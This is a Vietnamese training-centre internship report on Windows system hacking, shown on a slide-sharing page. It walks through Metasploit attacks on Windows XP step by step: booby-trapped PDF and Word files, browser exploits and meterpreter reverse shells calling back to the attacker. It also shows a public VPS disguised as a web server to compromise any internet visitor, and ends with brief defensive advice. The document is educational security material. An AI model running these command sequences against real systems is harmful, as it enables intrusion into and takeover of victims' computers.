Rà soát Malware bằng SysInternal Suite
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1
 
Bao cao thuc tap tuan 1 Athena Tran Dang Khoa
Bao cao thuc tap tuan 1 Athena Tran Dang KhoaBao cao thuc tap tuan 1 Athena Tran Dang Khoa
Bao cao thuc tap tuan 1 Athena Tran Dang Khoa
 
Báo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hackingBáo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hacking
 
Virus full
Virus fullVirus full
Virus full
 
Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống
Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chốngĐồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống
Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống
 
CEHv9_Finish 01 - Ethical Hacking.pdf
CEHv9_Finish 01 - Ethical Hacking.pdfCEHv9_Finish 01 - Ethical Hacking.pdf
CEHv9_Finish 01 - Ethical Hacking.pdf
 
TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái Tuấn
TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái TuấnTÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái Tuấn
TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái Tuấn
 
Bao cao thuc tap athena tuan 1 2-3
Bao cao thuc tap athena tuan 1 2-3Bao cao thuc tap athena tuan 1 2-3
Bao cao thuc tap athena tuan 1 2-3
 
Tai lieu huong_dan_su_dung_backtrack_5_2524
Tai lieu huong_dan_su_dung_backtrack_5_2524Tai lieu huong_dan_su_dung_backtrack_5_2524
Tai lieu huong_dan_su_dung_backtrack_5_2524
 
su-dung-metasploit-trong-danh-gia-an-toan-he-thong-thong-tin-1cb57d7b6e7b09e2...
su-dung-metasploit-trong-danh-gia-an-toan-he-thong-thong-tin-1cb57d7b6e7b09e2...su-dung-metasploit-trong-danh-gia-an-toan-he-thong-thong-tin-1cb57d7b6e7b09e2...
su-dung-metasploit-trong-danh-gia-an-toan-he-thong-thong-tin-1cb57d7b6e7b09e2...
 
Kali Linux
Kali LinuxKali Linux
Kali Linux
 
Bài 4: Bảo mật máy chủ, ứng dụng, dữ liệu và mạng - Giáo trình FPT
Bài 4: Bảo mật máy chủ, ứng dụng, dữ liệu và mạng - Giáo trình FPTBài 4: Bảo mật máy chủ, ứng dụng, dữ liệu và mạng - Giáo trình FPT
Bài 4: Bảo mật máy chủ, ứng dụng, dữ liệu và mạng - Giáo trình FPT
 
Security Bootcamp 2013 - Tấn công bằng mã độc - Trương Minh Nhật Quang
Security Bootcamp 2013 -  Tấn công bằng mã độc - Trương Minh Nhật QuangSecurity Bootcamp 2013 -  Tấn công bằng mã độc - Trương Minh Nhật Quang
Security Bootcamp 2013 - Tấn công bằng mã độc - Trương Minh Nhật Quang
 

Tuan vq bao cao thuc tap_ system hacking

  • 1. TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ AN NINH MẠNG QUỐC TẾ ATHENA BÁO CÁO THỰC TẬP DOANH NGHIỆP SYSTEM HACKING Giảng viên hướng dẫn: Võ Đỗ Thắng. Sinh viên thực hiện: Vũ Quang Tuấn. TP. Hồ Chí Minh, tháng 08 năm 2014
  • 2. Trang 2 LỜI CẢM ƠN Để thực hiện và hoàn thành đề tài này, trước hết tôi xin cảm ơn đến các thầy, giảng viên hướng dẫn sinh viên thực tập tại Trung tâm đào tạo quản trị mạng và an ninh mạng quốc tế ATHENA, đã tận tình chỉ bảo trong thời gian vừa qua. Tôi cũng xin gửi lời cám ơn đến các anh chị, bạn bè đã truyền đạt kinh nghiệm và tạo điều kiện cho tôi hoàn thành đề tài này. Trong quá trình thực hiện đề tài không thể không có những sai sót, mong thầy cô tại trung tâm ATHENA và các bạn thẳng thắn góp ý đề tôi rút kinh nghiệm trong các công trình tìm hiểu, phát triển sau này. Sinh viên Vũ Quang Tuấn
  • 3. Trang 3 MỤC LỤC PHẦN 1: GIỚI THIỆU .............................................................................................................1 1.1 System Hacking và Tình hình an ninh mạng Việt Nam................................................................. 1 1.2 Các lỗ hổng thường khai thác trong hệ điều hành Windows.......................................................... 1 1.3 Quá trình tấn công vào một hệ thống............................................................................................. 2 PHẦN 2: SỬ DỤNG BACKTRACK ĐỂ KHAI THÁC XÂM NHẬP TRONG MẠNG LAN.............................................................................................................................................4 2.1 Hệ điều hành Backtrack 5 R3......................................................................................................... 4 2.2 Phần mềm Metasploit..................................................................................................................... 6 2.2.1 Chọn module exploit............................................................................................................... 7 2.2.2 Cấu hình Module exploit......................................................................................................... 7 2.2.3 Verify options.......................................................................................................................... 7 2.2.4 Lựa chọn target........................................................................................................................ 7 2.2.5 Lựa chọn payload.................................................................................................................... 7 2.2.6 Thực thi exploit ....................................................................................................................... 7 2.3 Sơ đồ tổng quan hệ thống mạng LAN............................................................................................ 8 2.4 Xâm nhập và khai thác Windows XP............................................................................................. 9 2.4.1 Lỗ hổng: Ms12_004 ................................................................................................................ 9 2.4.2 Lỗ hổng: file PDF phiên bản adobe reader 9.2...................................................................... 10 2.4.3 Lỗ hổng: file WORD phiên bản word 2007.......................................................................... 11 PHẦN 3: XÂY DỰNG HONEYPOT KHAI THÁC XÂM NHẬP LỖ HỔNG TỪ XA QUA MẠNG INTERNET.......................................................................................................12 3.1 Honeypot..................................................................................................................................... 12 3.2 Sơ đồ tổng quan sử dụng Honeypot để xâm nhập từ xa qua Internet................................... 12 3.3 Tấn công hệ điều hành Windows XP........................................................................................ 14 PHẦN 4: TỔNG KẾT .............................................................................................................17 DANH MỤC TÀI LIỆU THAM KHẢO ...............................................................................18
  • 4. Trang 1 PHẦN 1: GIỚI THIỆU 1.1 System Hacking và Tình hình an ninh mạng Việt Nam System hacking bao gồm những kỹ thuật lấy username, password dựa vào phần mềm cài trên hệ thống hoặc tính dễ cài đặt và chạy các dịch vụ từ xa của hệ điều hành Windows. Nâng quyền trong hệ thống, sử dụng keyloger để lấy thông tin, xóa những log file hệ thống. Một khi đã xâm nhập vào hệ thống, Hacker có thể thực hiện mọi thứ trên máy tính đó, gây ra những hậu quả vô cùng nghiêm trọng cho các cá nhân, tổ chức. 1.2 Các lỗ hổng thường khai thác trong hệ điều hành Windows Phần mềm máy tính ngày nay vô cùng phức tạp, bao gồm hàng ngàn dòng mã. Phần mềm được viết ra bởi con người, nên cũng chẳng có gì lạ khi trong đó có chứa những lỗi lập trình, được biết đến với tên gọi lỗ hổng. Những lỗ hổng này được Hacker sử dụng để xâm nhập vào hệ thống, cũng như được tác giả của các đọan mã độc dùng để khởi động chương trình của họ một cách tự động trên máy tính của bạn. Hiện nay các lỗ hổng bảo mật được phát hiện càng nhiều trong các hệ điều hành, các Web Server hay các phần mềm khác, ... Và các hãng sản xuất luôn cập nhật các lỗ hổng và đưa ra các phiên bản mới sau khi đã vá lại các lỗ hổng của các phiên bản trước. Do đó, người sử dụng phải luôn cập nhật thông tin và nâng cấp phiên bản cũ mà mình đang sử dụng nếu không các Hacker sẽ lợi dụng điều này để tấn công vào hệ thống. Thông thường, các forum của các hãng nổi tiếng luôn cập nhật các lỗ hổng bảo mật và việc khai thác các lỗ hổng đó như thế nào thì tùy từng người. Microsoft luôn có những cải tiến an ninh vượt trội qua mỗi phiên bản mới của hệ điều hành Windows. Tuy nhiên, một sự thật là các mối đe dọa mạng vẫn đang ngày càng phát triển nhanh hơn so với chu trình cập nhật và đổi mới hệ điều hành của Microsoft. Tội phạm mạng thường sử dụng các lỗ hổng trong các mã chương trình để truy cập vào các dữ liệu và tài nguyên trên máy tính bị lỗi bảo mật. Các chương trình độc
  • 5. Trang 2 hại được thiết kế đặc biệt để khai thác các lỗ hổng này, được gọi là kỹ thuật exploit, đang ngày càng phổ biến nhanh chóng. Những sản phẩm của Microsoft thường gặp phải các lỗ hổng bảo mật như HĐH Windows, Internet Explorer, Windows Server, Microsoft Exchange và .NetFramework. 1.3 Quá trình tấn công vào một hệ thống Trước tiên ta sẽ tìm hiểu tổng quát một quá trình tấn công hệ thống. Mục tiêu phía trước của chúng ta là một hệ thống máy tính. Các bước để tấn công, đánh sập nó, có thể được liệt kê như hình vẽ bên cạnh. Nó gồm 6 công đoạn như sau: (hình 1.1: Quá trình tấn công vào một hệ thống)  Enumerate (liệt kê): Trích ra tất cả những thông tin có thể về user trong hệ thống. Sử dụng phương pháp thăm dò SNMP để có được những thông tin hữu ích, chính xác hơn.
  • 6. Trang 3  Crack: Bước này yêu cầu Hacker bẻ khóa mật khẩu đăng nhập của user. Hoặc bằng một cách nào khác, mục tiêu phải đạt tới là quyền truy cập vào hệ thống.  Escalste (leo thang): Chuyển đổi giới hạn truy cập từ user bình thường lên admin hoặc user có quyền cao hơn đủ cho chúng ta tấn công.  Execute (thực thi): Thực thi ứng dụng trên hệ thống máy đích. Chuẩn bị trước malware, keylogger, rootkit…để chạy nó trên máy tính tấn công.  Hide (ẩn file): Những file thực thi, file soucecode chạy chương trình… Cần phải được làm ẩn đi, tránh bị mục tiêu phát hiện tiêu diệt.  Tracks (dấu vết): Những thông tin có liên quan đến bạn cần phải bị xóa sạch, không để lại bất cứ thứ gì. Nếu không khả năng bạn bị phát hiện là kẻ đột nhập là rất cao. Tóm lại, quá trình tấn công hệ thống (System hacking) là bước tiếp theo sau quá trình khảo sát, thu thập thông tin của mục tiêu cần tấn công bằng những kỹ thuật như Footprinting, Social engineering, Enumeration, Google Hacking… đã được áp dụng cho mục đích truy tìm thông tin. Khi hệ thống mục tiêu đã được xác định, chúng ta bắt đầu đi vào quá trình tấn công hệ thống thật sự. Ta phải tiến hành những kỹ thuật khác nhau để làm sao vào được trong hệ thống đó, thực hiện những việc mà mình mong muốn, như xóa dữ liệu, chạy chương trình trojan, keylogger…
  • 7. Trang 4 PHẦN 2: SỬ DỤNG BACKTRACK ĐỂ KHAI THÁC XÂM NHẬP TRONG MẠNG LAN 2.1 Hệ điều hành Backtrack 5 R3 Backtrack là một bản phân phối dạng Live DVD của Linux, được phát triển để thử nghiệm xâm nhập. Backtrack là sự hợp nhất giữa 3 bản phân phối khác nhau của Linux về thâm nhập thử nghiệm IWHAX, WHOPPIX, và Auditor. Trong phiên bản hiện tại của nó (5), Backtrack được dựa trên phiên bản phân phối Linux Ubuntu 11.10. Công cụ Backtrack đã có lịch sử phát triển khá lâu qua nhiều bản linux khác nhau. Phiên bản hiện nay sử dụng bản phân phối Slackware linux (Tomas M.(www.slax.org)). Backtrack liên tục cập nhật các công cụ, drivers,... Hiện tại Backtrack có trên 300 công cụ phục vụ cho việc nghiên cứu bảo mật. Backtrack là sự kết hợp giữa 2 bộ công cụ kiểm thử bảo mật rất nổi tiếng là Whax và Auditor. Backtrack 5 chứa một số công cụ có thể được sử dụng trong quá trình thử nghiệm thâm nhập của chúng ta. Các công cụ kiểm tra thâm nhập trong Backtrack 5 có thể được phân loại như sau:  Information gathering: loại này có chứa một số công cụ có thể được sử dụng để có được thông tin liên quan đến một mục tiêu DNS, định tuyến, địa chỉ e-mail, trang web, máy chủ mail, và như vậy. Thông tin này được thu thập từ các thông tin có sẵn trên Internet, mà không cần chạm vào môi trường mục tiêu.  Network mapping: loại này chứa các công cụ có thể được sử dụng để kiểm tra các host đang tồn tại, thông tin về OS, ứng dụng được sử dụng bởi mục tiêu, và cũng làm portscanning.  Vulnerability identification: Trong thể loại này, chúng ta có thể tìm thấy các công cụ để quét các lỗ hổng (tổng hợp) và trong các thiết bị Cisco. Nó cũng chứa các công cụ để thực hiện và phân tích Server Message Block (SMB) và Simple Network Management Protocol (SNMP).
  • 8. Trang 5  Web application analysis: loại này chứa các công cụ có thể được sử dụng trong theo dõi, giám sát các ứng dụng web.  Radio network analysis: Để kiểm tra mạng không dây, bluetooth và nhận dạng tần số vô tuyến (RFID), chúng ta có thể sử dụng các công cụ trong thể loại này.  Penetration: loại này chứa các công cụ có thể được sử dụng để khai thác các lỗ hổng tìm thấy trong các máy tính mục tiêu.  Privilege escalation: Sau khi khai thác các lỗ hổng và được truy cập vào các máy tính mục tiêu, chúng ta có thể sử dụng các công cụ trong loại này để nâng cao đặc quyền của chúng ta cho các đặc quyền cao nhất.  Maintaining access: Công cụ trong loại này sẽ có thể giúp chúng ta trong việc duy trì quyền truy cập vào các máy tính mục tiêu. Chúng ta có thể cần để có được những đặc quyền cao nhất trước khi các chúng ta có thể cài đặt công cụ để duy trì quyền truy cập.  Voice Over IP (VOIP): Để phân tích VOIP chúng ta có thể sử dụng các công cụ trong thể loại này.  Digital forensics: Trong loại này, chúng ta có thể tìm thấy một số công cụ có thể được sử dụng để làm phân tích kỹ thuật như có được hình ảnh đĩa cứng, cấu trúc các tập tin, và phân tích hình ảnh đĩa cứng. Để sử dụng các công cụ cung cấp trong thể loại này, chúng ta có thể chọn Start Backtrack Forensics trong trình đơn khởi động. Đôi khi sẽ đòi hỏi chúng ta phải gắn kết nội bộ đĩa cứng và các tập tin trao đổi trong chế độ chỉ đọc để bảo tồn tính toàn vẹn.  Reverse engineering: Thể loại này chứa các công cụ có thể được sử dụng để gỡ rối chương trình một hoặc tháo rời một tập tin thực thi. Chúng ta có thể tải bản Backtrack 5 tại địa chỉ: www.backtracklinux.org/downloads/
  • 9. Trang 6 2.2 Phần mềm Metasploit Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn đề lỗ hổng bảo mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ thống phát hiện tấn công mạng. Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và khai thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C, assembler, và Python. Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Chúng ta có thể download chương trình tại www.metasploit.com. Metasploit hỗ trợ nhiều giao diện với người dùng:  Console interface: dùng lệnh msfconsole. Msfconsole interface sử dụng các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn.  Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao diện Web.  Command line interface: dùng msfcli. Metasploit Enviroment: Global Enviroment: Được thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits. Temporary Enviroment: Được thực thi thông qua 2 câu lệnh set và unset, enviroment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến các module exploit khác Chúng có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi trường đó sẽ được lưu trong ./msf/config và sẽ được load trở lại khi user interface được thực hiện. Sử dụng Metasploit Framework:
  • 10. Trang 7 2.2.1 Chọn module exploit: Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác  Show exploits: xem các module exploit mà framework có hỗ trợ.  Use exploit_name: chọn module exploit.  Info exploit_name: xem thông tin về module exploit. Chúng ta nên cập nhật thường xuyên các lỗi dịch vụ cũng như các modul trên www.metasploit.com hoặc qua lệnh msfupdate hoặc svnupdat/opt/metasploit/msf3/. 2.2.2 Cấu hình Module exploit đã chọn:  show options: Xác định những options nào cần cấu hình.  set: cấu hình cho những option của module đó. Một vài module còn có những advanced options, chúng ta có thể xem bằng cách gõ dòng lệnh show advanceds. 2.2.3 Verify những options vừa cấu hình:  check: kiểm tra xem những option đã được set chính xác chưa. 2.2.4 Lựa chọn target:  show targets: những target được cung cấp bởi module đó.  set: xác định target nào. 2.2.5 Lựa chọn payload:  show payloads: liệt kê ra những payload của module exploit hiện tại.  info payload_name: xem thông tin chi tiết về payload đó.  set payload payload_name: xác định payload module name. Sau khi lựa chọn payload nào, dùng lệnh show options để xem những options của payload đó.  show advanced: xem những advanced options của payload đó. 2.2.6 Thực thi exploit: exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho chúng ta những thông tin về hệ thống được khai thác.
  • 11. Trang 8 2.3 Sơ đồ tổng quan hệ thống mạng LAN (Hình 2.1: Sơ đồ tổng quan hệ thống mạng LAN) Trong một mạng LAN nội bộ, các máy tính thường kết nối với nhau với khoảng cách vật lý gần như trong một phòng, một tầng, một tòa nhà, công ty, … Các máy tính trong mạng LAN có thể chia sẻ tài nguyên với nhau, mà điển hình là chia sẻ tập tin, máy in, máy quét và một số thiết bị khác. Khi một máy tính ở trong mạng LAN, nó có thể sử dụng các chương trình, phần mềm quét hệ thống mạng để biết được địa chỉ IP các host có trong mạng. Nmap (Network Mapper) là một tiện ích nguồn mở miễn phí cho phát hiện mạng và kiểm toán an ninh. Nmap và Zenmap (Công cụ hỗ trợ đồ họa của nmap) được cài đặt sẵn trong BackTrack, sử dụng các gói tin IP giúp xác định host nào có sẵn trên mạng, các dịch vụ (tên ứng dụng và phiên bản) mà host đó đang cung cấp, hệ điều hành gì (và các phiên bản hệ điều hành) mà họ đang chạy, loại bộ lọc gói tin hoặc tường lửa nào đang sử dụng, và nhiều đặc điểm khác. Nmap chạy được trên tất cả các hệ điều hành, và các gói nhị phân chính thức có sẵn cho Linux, Windows, và Mac OSX.
  • 12. Trang 9 Sau khi xác định được các host có trong mạng, ta có thể sử dụng các công cụ quét lỗi hệ thống để xác định lỗ hổng của hệ thống muốn xâm nhập, từ đó khai thác truy cập vào hệ thống. Một trong số các công cụ quét lỗi này là Nessus, download tại địa chỉ http://www.nessus.org/. Một khi đã xâm nhập thành công và chiếm được toàn quyền điều khiển hệ thống, Hacker có thể thực hiện mọi việc trên máy nạn nhân như down/upload files, thay đổi cấu trúc hệ thống, thực thi chương trình, đánh cắp mật khẩu, cài trojan/ backdoor, … 2.4 Xâm nhập và khai thác Windows XP 2.4.1 Lỗ hổng sử dụng: Ms12_004  Khởi động msfconsole tử cửa sổ terminal của BackTrack  Khai báo lỗ hổng sử dụng và thiết đặt options: o Search ms12_004 o use exploit/windows/browser/ms12_004_midi o show options o set SRVHOST 192.168.1.3 o set PAYLOAD windows/meterpreter/reverse_tcp o set LHOST 192.168.1.3 o exploit BackTrack sẽ tạo ra một link chứa mã độc (http://192.168.1.3:4444). Chỉ cần nạn nhân nhấp chuột vào link trên thì BackTrack sẽ tự dộng gửi mã độc sang máy nạn nhân và sau đó có thể xem thông tin, chiến quyền của máy nạn nhân đó. Tiến hành khai thác máy nạn nhân có IP: 192.168.1.2 port 1078.  sessions  sessions –i 1  getuid  sysinfo
  • 13. Trang 10 Hacked: khai thác thành công lỗi ms12_004 trên winXP SP2 Nạn nhân:  Computer: nhanld  Os: Windows XP (Build 2600. Service Pack 2).  Architecture: x86.  Systemlanguage: en US.  Meterpreter: x86/win32 2.4.2 Lỗ hổng sử dụng: file PDF phiên bản adobe reader 9.2  Khởi động msfconsole tử cửa sổ terminal của BackTrack.  Khai báo lỗ hổng sử dụng và thiết đặt options: o Search nojs o use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs o show options o set FILENAME athenaHack.pdf o set PAYLOAD windows/meterpreter/reverse_tcp o set LHOST 192.168.1.3 o set LPORT 4444 o exploit - Sau khi tiến hành xong các bước trên, backtrack sẽ tạo 1 file pdf có chứa mã độc, file sẽ được lưu tại root./msf4/test.pdf - Tiếp tục thực hiện các bước sau:  Use multi/handler  set PAYLOAD windows/meterpreter/reverse_tcp  set LHOST 192.168.1.3  exploit - Tới đây chúng ta bắt đầu gửi file pdf vừa tạo cho máy nạn nhân, khi nạn nhân mở file backtrack sẽ gửi mã độc và chiếm được quyền sử dụng máy nạn nhân.
  • 14. Trang 11 2.4.3 Lỗ hổng sử dụng: file WORD phiên bản word 2007  Khởi động msfconsole tử cửa sổ terminal của BackTrack.  Khai báo lỗ hổng sử dụng và thiết đặt options: o Search ms12_027 o use exploit/windows/fileformat/ms12_027_mscomctl_bof o show options o set FILENAME athenaHack.doc o set PAYLOAD windows/meterpreter/reverse_tcp o set LHOST 192.168.1.3 o exploit - Sau khi tiến hành xong các bước trên, backtrack sẽ tạo 1 file word có chứa mã độc, file sẽ được lưu tại root./msf4/test.doc - Tiếp tục thực hiện các bước sau:  Use exploit/multi/handler  Set payload /windows/meterpreter/reverse_tcp  Set lhost 192.168.1.3  Exploit - Sau khi thực hiện các bước trên, chúng ta bắt đầu gửi file word qua cho máy nạn nhân, khi nạn nhân mở file word backtrack sẽ tự động gửi mã độc qua và chúng ta có thể chiếm quyền sử dụng máy nạn nhân
  • 15. Trang 12 PHẦN 3: XÂY DỰNG HONEYPOT KHAI THÁC XÂM NHẬP LỖ HỔNG TỪ XA QUA MẠNG INTERNET 3.1 Honeypot Honeypot là một hệ thống tài nguyên thông tin được xây dựng với mục đích giả dạng đánh lừa những kẻ sử dụng và xâm nhập không hợp pháp, thu hút sự chú ý của chúng, ngăn không cho chúng tiếp xúc với hệ thống thật. Hệ thống tài nguyên thông tin có nghĩa là Honeypot có thể giả dạng bất cứ loại máy chủ tài nguyên nào như là Mail Server, Domain Name Server, Web Server… Honeypot sẽ trực tiếp tương tác với tin tặc và tìm cách khai thác thông tin về tin tặc như hình thức tấn công, công cụ tấn công hay cách thức tiến hành thay vì bị tấn công. Với mục tiêu xây dựng Honeypot để xâm nhập vào lỗ hổng hệ thống máy tính qua Internet, Hacker có thể sử dụng Máy chủ ảo (VPS) và cài đặt Honeypot để giả dạng là một Web server bình thường, từ đó đánh lừa máy nạn nhân khi một máy tính bất kỳ có kết nối Internet truy cập vào địa chỉ mà VPS cung cấp. 3.2 Sơ đồ tổng quan sử dụng Honeypot để xâm nhập từ xa qua Internet (hình 3.1: sơ đồ tổng quan sử dụng Honepot)
  • 16. Trang 13 Chúng ta – đóng vài trò là Attacker, cần chuẩn bị: - VPS có địa chỉ IP public, cài đặt sẵn công cụ Metasploit đóng vai trò là một Honeypot trên mạng. (hình 3.2: Công cụ metasploit)
  • 17. Trang 14 3.3 Tấn công hệ điều hành Windows XP Lỗ hổng khai thác: Ms12_063 ( Điều kiện: Windows XP without service pack, trình duyệt Internet Explorer ) - Tại cửa sổ Metasploit console, ta sử dụng các lệnh sau để tạo một server lắng nghe các sự truy cập từ bên ngoài  use exploit/windows/browser/ie_execcommand_uaf (Sử dụng lỗi Ms12_063)  show options (Xem thông tin thiết đặt)  set srvhost 14.0.21.49 (VPS được đăng ký ip 14.0.21.49)  set lhost 14.0.21.49  set uripath athenaHack  set srvport 80 (VPS như một Web Server, tránh sự nghi ngờ của người dùng)  set payload windows/meterpreter/reverse_tcp  exploit
  • 18. Trang 15 - Công việc tiếp theo là chờ cho máy mục tiêu truy cập vào địa chỉ: http:// 14.0.21.49 /athenaHack (hình 3.4 gửi Trojan về máy mục tiêu)
  • 19. Trang 16 - Bây giờ ta có thể tiến hành khai thác tại máy mục tiêu: - Tạo thư mục mới trong máy nạn nhân md Hacker - Upload file tới máy nạn nhận upload C:/Hacker.txt C:/Hacker b) Phương pháp khắc phục lỗ hổng Để khắc phục lỗ hổng, máy tính người dùng cần cập nhật các bản Service pack (1 hoặc 2 hoặc 3) của Microsoft dành cho Windows XP.
  • 20. Trang 17 PHẦN 4: TỔNG KẾT Với những kiểu tấn công hệ thống dựa trên những lỗi sai sót trong quá trình sử dụng máy tính hoặc các lỗi về bảo mật vật lý, có một số phương pháp nhằm giảm thiểu và phòng tránh việc Hacker đánh cắp Mật khẩu như sau: Mật khẩu phải được đặt nhiều hơn 8 ký tự và phải là tổng hợp giữa chữ hoa, chữ thường, số và ký tự đặc biệt để các chương trình khó dò ra. Cấu hình trong registry cho mật khẩu trong hệ thống windows chỉ được băm và lưu dưới dạng NTLM để các chương trình khó khăn để dò tim. Bật lên 1 ở khóa: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaNoLMHash Người dùng admin nên xóa tập tin sam trong thư mục Windows/repair sau mỗi lần backup dữ liệu bằng rdisk. Trong quá trình sử dụng máy tính để truy cập Internet, người dùng cần lưu ý: - Không mở tập tin đính kèm thư điện tử có nguồn gốc không rõ ràng hoặc không tin cậy. - Chắc chắn rằng bạn có và đã bật hệ thống tường lửa cho hệ thống của mình. - Đảm bảo Windows của bạn được cập nhật thường xuyên, phần mềm bảo mật của bạn có chức năng cập nhật "live" (tự động cập nhật trực tuyến). Microsoft đã xây dựng một loạt các công cụ trong Windows để các nhà quản trị cũng như người dùng có kinh nghiệm có thể phân tích chiếc máy tính của mình xem liệu nó có đang bị xâm phạm hay không. Một khi nghi ngờ máy tính của mình bị xâm nhập, người dùng có thể sử dụng các công cụ này để tự kiểm tra máy tính của mình khi có những biểu hiện đáng ngờ: WMIC, Lệnh net, Openfiles, Netstat, Find.
  • 21. Trang 18 DANH MỤC TÀI LIỆU THAM KHẢO 1. Nguyễn Sơn Khê, Đỗ Tấn Phát, Nguyễn Cao Thắng, Athena-Su dung BackTrack 5 khai thác lỗ hổng mạng.